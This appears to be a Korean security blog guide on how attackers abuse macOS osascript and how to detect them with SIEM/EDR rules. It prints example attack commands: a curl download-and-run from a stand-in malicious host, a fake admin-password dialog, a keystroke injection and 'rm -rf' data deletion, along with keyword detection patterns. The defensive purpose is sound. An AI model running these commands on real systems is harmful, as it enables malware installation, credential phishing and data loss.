osascript
는 macOS에서 AppleScript와 JavaScript 코드를 실행할 수 있는 명령줄 도구로, 자동화 및 시스템 제어 목적으로 사용됩니다. 그러나, 공격자들이 이 도구를 악용하여 시스템 제어 및 악성 행위를 수행하기도 해 주의 깊은 모니터링이 필요합니다.
osascript 개요
- 기본 정보:
osascript
는 macOS 내에서 AppleScript와 JavaScript 명령을 실행하는 CLI(Command Line Interface) 도구입니다.osascript
는 일반적으로 애플리케이션 자동화, 시스템 제어 및 스크립팅에 사용됩니다. - 악용 가능성: 공격자는
osascript
를 통해 AppleScript를 실행하여 시스템 파일 접근, 키 입력 시뮬레이션, 애플리케이션 제어, 악성 다운로드 실행 등 다양한 악의적인 행위를 할 수 있습니다. 특히, 다른 명령어와 결합하여 원격 제어를 시도하거나 사용자의 의도치 않은 행위를 유발할 수 있어 탐지와 대응이 필수적입니다.
osascript는 macOS에서 AppleScript 및 JavaScript 코드를 실행할 수 있는 명령줄 도구입니다. 주로 다음과 같은 목적으로 사용됩니다.
- 애플리케이션 자동화: 반복적인 작업을 자동화하여 사용자 편의를 증대합니다.
- 시스템 제어: 시스템 설정 변경, 파일 관리, 네트워크 작업 수행 등 macOS 환경에서 다양한 기능을 조작할 수 있습니다.
- 스크립트 기반 워크플로우 구축: AppleScript 또는 JavaScript를 활용하여 GUI 기반 애플리케이션을 프로그래밍적으로 제어할 수 있습니다.
osascript는 강력한 기능을 제공하는 도구이지만, 이와 같은 특성이 악용될 경우 보안 위협으로 작용할 수 있습니다.
osascript 악용 위험성
공격자는 osascript의 기능을 이용하여 악성 행위를 수행할 수 있습니다. 그 이유는 다음과 같습니다.
- 시스템 권한 활용 가능: osascript는 macOS의 기본 기능으로 시스템 제어가 가능하여 보안 설정을 우회하거나 악성 코드 실행을 돕습니다.
- 사용자 인터페이스 조작 가능: 사용자의 의도와 무관하게 클릭, 키보드 입력 시뮬레이션, 팝업 메시지 표시 등의 조작이 가능합니다.
- 파일 다운로드 및 실행 가능: 네트워크를 통해 악성 스크립트를 다운로드하여 실행할 수 있어 악성코드 배포에 활용될 수 있습니다.
- 탐지 회피 가능성: osascript를 활용한 악성 스크립트 실행 공격은 정당한 시스템 프로세스처럼 보이므로 보안 솔루션이 탐지하기 어려울 수 있습니다.
대표적인 공격 유형
1. 파일 다운로드 및 실행
공격자는 osascript를 이용하여 악성 파일을 다운로드하고 실행할 수 있습니다.
- 예시
osascript -e 'do shell script "curl -o /tmp/malware http://malicious-site.com/malware && chmod +x /tmp/malware && /tmp/malware"'
2. 키 입력 시뮬레이션
사용자 입력을 조작하여 인증을 우회하거나 악성 명령을 실행할 수 있습니다.
- 예시
osascript -e 'tell application "System Events" to keystroke "password"'
3. 유저 인터페이스(UI) 조작
osascript를 사용하여 보안 설정을 변경하거나 사용자 승인 없이 실행할 수 있습니다.
- 예시
osascript -e 'tell application "System Preferences" to reveal anchor "Firewall" of pane id "com.apple.preference.security"'
4. 악성 팝업 창 생성
공격자가 사용자에게 악성 팝업을 띄워 정보를 탈취할 수 있습니다.
- 예시
osascript -e 'display dialog "Enter your admin password" default answer ""'
5. 악성 AppleScript 파일 실행
사전에 제작된 악성 AppleScript 파일을 실행할 수 있습니다.
- 예시
osascript /path/to/malicious_script.scpt
탐지 및 모니터링 지표
1. osascript 실행 로그 모니터링
osascript
가 예상치 않은 시간이나 사용자 의도와 상관없이 실행될 경우 의심스러운 행위로 간주할 수 있습니다.- 로그 파일:
/var/log/system.log
및/var/log/secure.log
와 같은 시스템 로그에서osascript
명령 실행 내역을 확인합니다. - 로그 예시
osascript -e 'tell application "System Events" to keystroke "password"'
2. 네트워크 연결 모니터링
osascript
가 원격 서버와 통신하는지 여부를 확인합니다. 예를 들어, 악성 스크립트를 원격지에서 다운로드할 수 있으므로 외부 IP와의 통신은 의심됩니다.- 네트워크 연결 확인:
netstat
또는lsof -i
명령을 통해osascript
가 사용하는 포트와 연결 상태를 모니터링합니다.
3. 키보드 입력 및 화면 제어 시도 탐지
- 사용자 인터페이스 제어를 시도할 때 발생하는 키 입력, 클릭 시뮬레이션 등의 이벤트 로그를 모니터링하여 이상 징후를 탐지합니다.
- 관련 로그 확인: macOS의 보안 이벤트 로그에서
System Events
를 호출하거나 키보드 이벤트를 발생시키는 기록을 탐지합니다.
탐지 룰 설정 예시
- SIEM 룰 예시:
osascript
를 악용한 악성 스크립트 실행 시도 탐지 룰을 설정합니다.- 조건:
osascript
가 실행되면서 특정 키워드(예:keystroke
,download
,tell application
,do shell script
)가 포함된 경우. - Elastic SIEM 예시
{ "query": "process where process.name == 'osascript' and process.command_line contains any ('keystroke', 'download', 'tell application', 'do shell script')", "severity": "high", "tags": ["macOS", "osascript", "suspicious activity"], "description": "Detects suspicious osascript executions that may indicate malicious behavior" }
- 조건:
- XDR 및 EDR 규칙 설정: 엔드포인트 탐지 및 대응 도구(예: Elastic Defend)에서
osascript
실행을 분석하여 의심스러운 매개변수가 있는지 확인하고 경고를 생성합니다.
대응 방안
- 실행 차단: 신뢰되지 않는 사용자나 프로세스에서
osascript
사용을 차단할 수 있는 정책을 설정합니다. 예를 들어, MDM 솔루션에서osascript
실행을 제한하는 규칙을 적용할 수 있습니다. - 스크립트 서명 확인: AppleScript가 서명된 코드에서만 실행되도록 설정하여 비정상적인 스크립트 실행을 차단합니다.
- 보안 설정 강화:
osascript
가 사용하는 스크립트에서 특정 기능(예: 네트워크 접근, 키 입력 등)을 제한하거나 관리자 승인 없이 실행할 수 없도록 설정합니다. - 이벤트 응답: 의심스러운
osascript
실행이 감지되었을 때, 즉시 해당 프로세스를 종료하고 시스템의 상태를 조사하여 원격 제어 악성 행위 등 추가적인 위협을 제거합니다.
보안 가이드
- AppleScript 사용 제한 권고: 업무와 관련이 없는 스크립트는 실행하지 않도록 권장합니다.
- 비인가 다운로드 주의: 의심스러운 URL이나 출처가 불분명한 파일을 다운로드하지 않도록 교육합니다.
- 시스템 이벤트 모니터링: 주기적으로 시스템의 이벤트 로그와 실행 프로세스를 검토하여 의심스러운 실행 내역을 확인하도록 권고합니다.
- 보안 업데이트 유지: 최신 macOS 보안 업데이트를 유지하여 AppleScript의 보안 취약점을 최소화합니다.
osascript
는 유용한 도구이지만 악의적인 목적에도 쉽게 이용될 수 있으므로, 탐지 룰을 설정하고 대응 프로세스를 준비하는 것이 중요합니다. osascript
를 통한 보안 탐지는 여러 유형의 악성 행위나 의심스러운 활동을 포착할 수 있습니다. 각 탐지 유형별 예시입니다.
1. 의심스러운 네트워크 활동 탐지
- 공격자는
osascript
를 사용하여 원격 서버와 통신하거나, 악성 파일을 다운로드하는 명령을 실행할 수 있습니다. - 예를 들어,
curl
이나wget
과 같은 명령어를osascript
로 호출하여 악성 파일을 시스템에 다운로드합니다.
탐지 룰 예시
osascript -e 'do shell script "curl -o /tmp/malware http://malicious-site.com/malware"'
- 탐지 지표
osascript
실행 로그에curl
,wget
, 또는 특정 URL이 포함된 경우.- 원격 IP 또는 도메인과의 비정상적인 네트워크 트래픽.
- SIEM 탐지 쿼리
{ "query": "process where process.name == 'osascript' and process.command_line contains 'curl'", "description": "Detects osascript downloading files via curl", "severity": "high" }
2. 키 입력 시뮬레이션 탐지
osascript
는 키보드 입력을 자동화할 수 있어 공격자가 사용자 세션에서 민감한 작업(예: 인증 정보 입력)을 자동으로 수행할 수 있습니다.
탐지 룰 예시
osascript -e 'tell application "System Events" to keystroke "password"'
- 탐지 지표
osascript
가keystroke
또는key code
명령어를 호출하는 경우.- 비정상적인 사용자 입력 기록(예: 너무 빠른 속도의 키 입력).
- EDR 탐지 예시
{ "query": "process where process.name == 'osascript' and process.command_line contains 'keystroke'", "description": "Detects osascript simulating keyboard input", "severity": "medium" }
3. 스크립트를 통한 시스템 명령 실행 탐지
- 공격자는
osascript
를 통해do shell script
를 사용하여 임의의 시스템 명령을 실행할 수 있습니다. - 이를 통해 로컬 권한 상승, 파일 삭제, 네트워크 설정 변경 등 다양한 공격을 시도할 수 있습니다.
탐지 룰 예시
osascript -e 'do shell script "rm -rf /important-data"'
- 탐지 지표
osascript
실행 시do shell script
가 포함된 로그.- 로그에 파일 삭제(
rm
), 사용자 계정 변경(useradd
,passwd
), 시스템 설정 변경(ifconfig
) 등 의심스러운 명령어 확인.
- 탐지 쿼리 예시
{ "query": "process where process.name == 'osascript' and process.command_line contains 'do shell script'", "description": "Detects osascript executing system commands", "severity": "critical" }
4. 사용자 인터페이스(UI) 제어 탐지
- 공격자는
osascript
를 사용해 사용자 인터페이스를 제어하여 보안 설정을 변경하거나 사용자가 승인하도록 속이는 작업을 수행할 수 있습니다.
탐지 룰 예시
osascript -e 'tell application "System Preferences" to reveal anchor "Firewall" of pane id "com.apple.preference.security"'
- 탐지 지표
osascript
가System Preferences
와 같은 민감한 애플리케이션을 제어하는 명령 실행.- 특정 보안 설정(UI 이벤트) 호출 로그.
- EDR 탐지 예시
{ "query": "process where process.name == 'osascript' and process.command_line contains 'System Preferences'", "description": "Detects osascript controlling security preferences", "severity": "high" }
5. 악성 팝업 생성 탐지
osascript
를 사용해 사용자에게 악성 팝업을 띄워 민감한 정보를 입력하도록 유도할 수 있습니다.
탐지 룰 예시
osascript -e 'display dialog "Enter your admin password" default answer ""'
- 탐지 지표
osascript
실행 로그에display dialog
,alert
등이 포함된 경우.- 사용자 입력 유도를 시도하는 팝업 창 생성.
- 탐지 쿼리 예시
{ "query": "process where process.name == 'osascript' and process.command_line contains 'display dialog'", "description": "Detects osascript creating suspicious pop-ups", "severity": "medium" }
6. 스크립트 파일 실행 탐지
- 공격자는
osascript
를 통해 미리 작성된 AppleScript 파일을 실행하여 악성 행위를 수행할 수 있습니다.
탐지 룰 예시
osascript /path/to/malicious_script.scpt
- 탐지 지표
osascript
실행 로그에서.scpt
파일 경로가 포함된 경우.- 비정상적인 경로나 실행 파일 이름.
- SIEM 탐지 쿼리
{ "query": "process where process.name == 'osascript' and process.command_line contains '.scpt'", "description": "Detects osascript executing AppleScript files", "severity": "high" }
7. 비정상적 실행 시간 탐지
- 정상적인 업무 시간 외에
osascript
가 실행될 경우 의심스러운 활동으로 간주될 수 있습니다.
탐지 룰 예시
osascript -e 'tell application "Finder" to shut down'
- 탐지 지표
- 야간이나 업무 시간 외에 실행된
osascript
명령. - 사용자가 시스템에 접속하지 않은 시간대의 비정상적인 활동.
- 야간이나 업무 시간 외에 실행된
- 탐지 쿼리 예시
{ "query": "process where process.name == 'osascript' and timestamp outside of business hours", "description": "Detects osascript execution outside business hours", "severity": "low" }
추가 탐지 사례 및 대응 팁
1. 의심스러운 네트워크 활동 탐지
{
"query": "process where process.name == 'osascript' and process.command_line contains 'curl'",
"description": "Detects osascript downloading files via curl",
"severity": "high"
}
2. 키 입력 시뮬레이션 탐지
{
"query": "process where process.name == 'osascript' and process.command_line contains 'keystroke'",
"description": "Detects osascript simulating keyboard input",
"severity": "medium"
}
3. UI 제어 탐지
{
"query": "process where process.name == 'osascript' and process.command_line contains 'System Preferences'",
"description": "Detects osascript controlling security preferences",
"severity": "high"
}
4. 악성 팝업 탐지
{
"query": "process where process.name == 'osascript' and process.command_line contains 'display dialog'",
"description": "Detects osascript creating suspicious pop-ups",
"severity": "medium"
}
osascript는 macOS에서 강력한 자동화 도구이지만, 악용될 경우 심각한 보안 위협이 될 수 있습니다. 이를 효과적으로 탐지하고 대응하기 위해서는 실행 로그 모니터링, 네트워크 활동 감시, 키 입력 및 UI 조작 탐지를 포함한 다층적인 보안 정책을 적용해야 합니다. 적절한 탐지 룰을 설정하고 사용자 교육을 강화하여 osascript 기반 공격을 예방하는 것이 중요합니다. osascript를 악용한 공격 시도는 비교적 명확한 패턴을 보이기 때문에 탐지 규칙 설정과 대응 체계를 통해 효과적으로 방어할 수 있습니다.
댓글